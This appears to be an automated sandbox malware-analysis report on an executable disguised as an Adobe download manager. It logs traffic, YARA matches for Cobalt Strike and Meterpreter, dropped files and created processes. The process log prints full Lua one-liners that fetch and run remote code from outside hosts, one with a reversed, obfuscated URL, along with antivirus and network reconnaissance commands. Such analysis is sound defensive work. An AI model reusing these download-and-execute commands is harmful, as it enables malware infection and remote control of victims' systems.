Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49801
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49800
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 49783 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49741 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49764 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49770 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49722 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49750
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49804 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49775 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49716 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49749
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443

Source: unknown	HTTPS traffic detected: 45.154.13.94:443 -> 192.168.2.3:49716 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.41:443 -> 192.168.2.3:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.90:443 -> 192.168.2.3:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.33.11.25:443 -> 192.168.2.3:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.33.10.52:443 -> 192.168.2.3:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 101.33.10.52:443 -> 192.168.2.3:49726 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.41:443 -> 192.168.2.3:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 211.152.136.41:443 -> 192.168.2.3:49729 version: TLS 1.2

DDoS:

Source: cmd.exe

Process created: 229

System Summary:

Malicious sample detected (through community Yara rule)

Show sources

Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects CobaltStrike sleep_mask decoder Author: yara@s3c.za.net
Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects CobaltStrike sleep_mask decoder Author: yara@s3c.za.net
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Detects unmodified CobaltStrike beacon DLL Author: yara@s3c.za.net

PE file has a writeable .text section

Show sources

Source: Flash.exe.1.dr

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF65671F3FC NtDeviceIoControlFile,RtlNtStatusToDosError,		1_2_00007FF65671F3FC
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF65671DAA9 NtCancelIoFileEx,RtlNtStatusToDosError,		1_2_00007FF65671DAA9

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Code function: 1_2_00007FF65671F3FC: NtDeviceIoControlFile,RtlNtStatusToDosError,

1_2_00007FF65671F3FC

Source: C:\ProgramData\lua\luac.exe

File created: C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Jump to behavior

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567965C4	1_2_00007FF6567965C4
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566D85A0	1_2_00007FF6566D85A0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566D2B68	1_2_00007FF6566D2B68
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566D2BE6	1_2_00007FF6566D2BE6
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566D4507	1_2_00007FF6566D4507
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF656785140	1_2_00007FF656785140
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF656779FC0	1_2_00007FF656779FC0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567BC7E0	1_2_00007FF6567BC7E0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E2030	1_2_00007FF6566E2030
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF656780120	1_2_00007FF656780120
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E00F0	1_2_00007FF6566E00F0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF65678B090	1_2_00007FF65678B090
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E4DB0	1_2_00007FF6566E4DB0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567AAE04	1_2_00007FF6567AAE04
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566DC56B	1_2_00007FF6566DC56B
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E1D40	1_2_00007FF6566E1D40
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567BCE27	1_2_00007FF6567BCE27
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566DEE87	1_2_00007FF6566DEE87
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E3E60	1_2_00007FF6566E3E60
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566E0650	1_2_00007FF6566E0650
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566D1F08	1_2_00007FF6566D1F08
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF656786C00	1_2_00007FF656786C00
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566DC3E0	1_2_00007FF6566DC3E0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567BB46D	1_2_00007FF6567BB46D
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567101DF	1_2_00007FF6567101DF
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF656786160	1_2_00007FF656786160
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF65677B1A0	1_2_00007FF65677B1A0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6567AB2F0	1_2_00007FF6567AB2F0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF656788AF0	1_2_00007FF656788AF0
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: 1_2_00007FF6566EDABD	1_2_00007FF6566EDABD
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000E8DD	2_2_1000E8DD
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_10004520	2_2_10004520
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000E140	2_2_1000E140
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000E9BA	2_2_1000E9BA
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000E640	2_2_1000E640
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000DB00	2_2_1000DB00
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000EB41	2_2_1000EB41
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000E7E9	2_2_1000E7E9
Source: C:\ProgramData\lua\luac.exe	Code function: 2_2_1000DFF4	2_2_1000DFF4
Source: C:\Users\user\AppData\Roaming\Flash.exe	Code function: 4_2_0120D14D	4_2_0120D14D

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	Code function: String function: 00007FF6567BA240 appears 86 times
Source: C:\ProgramData\lua\luac.exe	Code function: String function: 1000F230 appears 47 times

Source: 8v4iWYLvKJ.exe

Static PE information: Resource name: RT_VERSION type: MIPSEB-LE ECOFF executable not stripped - version 0.79

Source: 8v4iWYLvKJ.exe	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: lua.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: luac.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: luac.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Flash.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST
Source: Flash.exe.1.dr	Static PE information: Resource name: RT_ICON type: GLS_BINARY_LSB_FIRST

Source: 8v4iWYLvKJ.exe, 00000001.00000003.204455415.0000020BF6F61000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameAdobe Download ManagerN vs 8v4iWYLvKJ.exe
Source: 8v4iWYLvKJ.exe, 00000001.00000003.200651141.0000020BF54D3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamewlua5.1.exe^ vs 8v4iWYLvKJ.exe
Source: 8v4iWYLvKJ.exe, 00000001.00000003.200612827.0000020BF54D3000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenamelua5.1.dll^ vs 8v4iWYLvKJ.exe

Source: C:\Users\user\AppData\Roaming\Flash.exe	Section loaded: pgpmapih.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Section loaded: dxgidebug.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Section loaded: imageres.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Section loaded: crytbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	Section loaded: ws2help.dll	Jump to behavior

Source: 00000002.00000002.471620274.0000000000910000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Cobaltbaltstrike_RAW_Payload_https_stager_x86 author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
Source: 00000002.00000002.475650792.0000000002A30000.00000004.00000040.sdmp, type: MEMORY	Matched rule: CobaltStrike_C2_Decoded_Config_Indicator date = 2019-08-16, author = yara@s3c.za.net, description = Detects CobaltStrike C2 decoded profile configuration
Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleep_Decoder_Indicator date = 2019-08-16, author = yara@s3c.za.net, description = Detects CobaltStrike sleep_mask decoder
Source: 00000002.00000002.474495793.0000000001E80000.00000040.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: HKTL_Meterpreter_inMemory date = 2020-06-29, author = netbiosX, Florian Roth, description = Detects Meterpreter in-memory, reference = https://www.reddit.com/r/purpleteamsec/comments/hjux11/meterpreter_memory_indicators_detection_tooling/, score =
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Cobaltbaltstrike_Beacon_x86 author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_Sleep_Decoder_Indicator date = 2019-08-16, author = yara@s3c.za.net, description = Detects CobaltStrike sleep_mask decoder
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: CobaltStrike_Unmodifed_Beacon date = 2019-08-16, author = yara@s3c.za.net, description = Detects unmodified CobaltStrike beacon DLL
Source: 00000002.00000002.475428918.0000000002460000.00000040.00000001.sdmp, type: MEMORY	Matched rule: SUSP_XORed_Mozilla date = 2019-10-28, author = Florian Roth, description = Detects suspicious XORed keyword - Mozilla/5.0, reference = Internal Research, score =
Source: 00000002.00000002.472020720.0000000000A10000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Cobaltbaltstrike_RAW_Payload_https_stager_x86 author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc
Source: 00000002.00000002.470374436.000000000061A000.00000004.00000020.sdmp, type: MEMORY	Matched rule: Cobaltbaltstrike_RAW_Payload_https_stager_x86 author = Avast Threat Intel Team, description = Detects CobaltStrike payloads, reference = https://github.com/avast/ioc

Source: Flash.exe.1.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal87.troj.spyw.evad.winEXE@272/1257@11/9

Source: C:\ProgramData\lua\luac.exe

Code function: 2_2_005E1080 GetLastError,FormatMessageA,lua_pushstring,lua_pushfstring,

2_2_005E1080

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

File created: C:\Users\user\AppData\Roaming\Flash.exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3484:120:WilError_01
Source: C:\Users\user\AppData\Roaming\Flash.exe	Mutant created: \Sessions\1\BaseNamedObjects\Adobe_CDM.log
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:5932:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4448:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:3296:120:WilError_01
Source: C:\Users\user\AppData\Roaming\Flash.exe	Mutant created: \Sessions\1\BaseNamedObjects\Adobe_GDE.log
Source: C:\Windows\System32\conhost.exe	Mutant created: \BaseNamedObjects\Local\SM0:4760:120:WilError_01

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

File created: C:\Users\user\AppData\Local\Temp\lua.zip

Jump to behavior

Source: 8v4iWYLvKJ.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\8v4iWYLvKJ.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\lua\luac.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Flash.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\ProgramData\lua\lua.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\ProgramData\lua\lua.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: 8v4iWYLvKJ.exe	Virustotal: Detection: 28%
Source: 8v4iWYLvKJ.exe	ReversingLabs: Detection: 15%

Source: unknown	Process created: C:\Users\user\Desktop\8v4iWYLvKJ.exe 'C:\Users\user\Desktop\8v4iWYLvKJ.exe'
Source: unknown	Process created: C:\ProgramData\lua\luac.exe C:\ProgramData\lua\luac.exe -e 'code = \'local http=require('socket.http');\'..\'local response_body = {}\'..\'local res, code = http.request({\'..\' url = string.reverse('aul.344-SC-1/68x/moc.scnuyila.gnokgnoh-nc-sso.sbilaul//:ptth'),\'..\' sink = ltn12.sink.table(response_body)\'..\'})\'..\'if type(response_body) == 'table' then\'..\' loadstring(table.concat(response_body))()\'..\'else\'..\' print('error')\'..\'end\';loadstring(code)();'
Source: unknown	Process created: C:\Users\user\AppData\Roaming\Flash.exe C:\Users\user\AppData\Roaming\Flash.exe
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC os get caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName && WMIC os get caption && ipconfig /all
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC /namespace:\\root\securitycenter2 path antivirusproduct GET displayName
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe WMIC os get caption
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\ipconfig.exe ipconfig /all
Source: C:\ProgramData\lua\luac.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /C %ProgramData%\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\lua\lua.exe C:\ProgramData\lua\lua.exe -e 'local code = [[local http = require('socket.http');local response_body = {};local res, code = http.request({url = 'http://lualibs.oss-cn-hongkong.aliyuncs.com/x86/Schedule.lua',sink = ltn12.sink.table(response_body)});if type(response_body) == 'table' then loadstring(table.concat(response_body))() else print('error') end;]];loadstring(code)();'
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c netstat -ano\|findstr LISTEN\|findstr 127.0.0.1:
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\NETSTAT.EXE netstat -ano
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr LISTEN
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr 127.0.0.1:
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\examples\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\adodbapi\test\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\bidict-0.21.2.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\certifi-2020.12.5.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cffi-1.14.4.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet-4.0.0.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\cli\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\chardet\metadata\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\crcmod-1.7.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography-3.3.1.dist-info\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\backends\openssl\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\bindings\openssl\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\ciphers\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\kdf\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\serialization\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\hazmat\primitives\twofactor\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\cryptography\x509\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Cipher\
Source: C:\ProgramData\lua\lua.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c mkdir C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\
